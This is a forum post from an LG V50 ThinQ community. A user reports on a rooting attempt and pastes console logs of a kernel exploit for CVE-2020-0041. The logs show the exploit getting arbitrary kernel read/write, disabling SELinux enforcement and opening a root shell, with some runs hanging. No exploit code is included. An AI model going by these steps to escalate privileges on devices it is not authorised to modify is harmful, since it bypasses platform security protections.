[LG V50 ThinQ Guides, News, & Discussion] andrewwm:
IT WORKS! But the phone crashes after a few seconds. I had to run it multiple times to get it to work. I've only gotten it to work just after a restart and at the lock screen. I haven't gotten it to work with the device unlocked, it would get stuck at one of the spots below. EDIT: I got it to work once after the device has 'settled' unlocked.

127|flashlm:/ $ ./data/local/tmp/v50g8-mroot2
[+] factoryversion = 'LMV450AT-00-V20a-LAO-COM-JAN-15-2020-ARB00+2'
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffc4d556fe00
[+] file epitem at ffffffc53676af80
[+] Reallocating content of 'write8_inode' with controlled data...[DONE]
[+] Overwriting 0xffffffc4d556fe20 with 0xffffffc53676afd0...[DONE]
[+] Write done, should have arbitrary read now.
[+] file operations: ffffff8865821250
[+] kernel base: ffffff8864280000
[+] init_cred: ffffff886662e588
[+] memstart_addr: 0xfffffffc40000000
[+] First level entry: 113bea003 -> next table at ffffffc4d3bea000
[+] Second level entry: 1777cc003 -> next table at ffffffc5377cc000
[+] sysctl_table_root = ffffff886665b098
[+] Reallocating content of 'write8_sysctl' with controlled data....[DONE]
[+] Overwriting 0xffffffc5b5389468 with 0xffffffc532c67000...[DONE]
[+] Injected sysctl node!
[+] Reallocating content of 'write8_selinux' with controlled data..[DONE]
[+] Overwriting 0xffffff8866dddffc with 0x0...[DONE]
[+] Node write8_inode, pid 19714, kaddr ffffffc4ae64a000
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_selinux, pid 20083, kaddr ffffffc4d61aa980
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_sysctl, pid 20055, kaddr ffffffc4a8c29a80
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[+] epitem.next = ffffffc4d556fe20
[+] epitem.prev = ffffffc4d556fed0
[+] Launching privileged shell
root_by_cve-2020-0041:/ #

Sometimes it gets stuck here:

127|flashlm:/ $ ./data/local/tmp/v50g8-mroot2
[+] factoryversion = 'LMV450AT-00-V20a-LAO-COM-JAN-15-2020-ARB00+2'
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xfffffff0b0dce900
[+] file epitem at fffffff101e88080
[+] Reallocating content of 'write8_inode' with controlled data..[DONE]
[+] Overwriting 0xfffffff0b0dce920 with 0xfffffff101e880d0...[DONE]
[+] Write done, should have arbitrary read now.
[+] file operations: ffffff9be4c21250
[+] kernel base: ffffff9be3680000
[+] init_cred: ffffff9be5a2e588
[+] memstart_addr: 0xffffffd0c0000000
[+] First level entry: 15959a003 -> next table at fffffff09959a000
[+] Second level entry: 159d9f003 -> next table at fffffff099d9f000
[+] sysctl_table_root = ffffff9be5a5b098
[+] Reallocating content of 'write8_sysctl' with controlled data.................

or here:

flashlm:/ $ ./data/local/tmp/v50g8-mroot2
[+] factoryversion = 'LMV450AT-00-V20a-LAO-COM-JAN-15-2020-ARB00+2'
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xfffffff21a0bf700
[+] file epitem at fffffff20b4dac80
[+] Reallocating content of 'write8_inode' with controlled data.....[DONE]
[+] Overwriting 0xfffffff21a0bf720 with 0xfffffff20b4dacd0...[DONE]
[+] Write done, should have arbitrary read now.
[+] file operations: ffffff80e1a21250
[+] kernel base: ffffff80e0480000
[+] init_cred: ffffff80e282e588
[+] memstart_addr: 0xffffffcec0000000
[+] First level entry: 17c21c003 -> next table at fffffff2bc21c000
[+] Second level entry: 1bbb4f003 -> next table at fffffff2fbb4f000
[+] sysctl_table_root = ffffff80e285b098
[+] Reallocating content of 'write8_sysctl' with controlled data............[DONE]
[+] Overwriting 0xfffffff335388c68 with 0xfffffff30e996000...[DONE]
[+] Injected sysctl node!
[+] Reallocating content of 'write8_selinux' with controlled data.................

Another note, Outlook keeps crashing and refuses to open. It was working fine before this, maybe something got currput?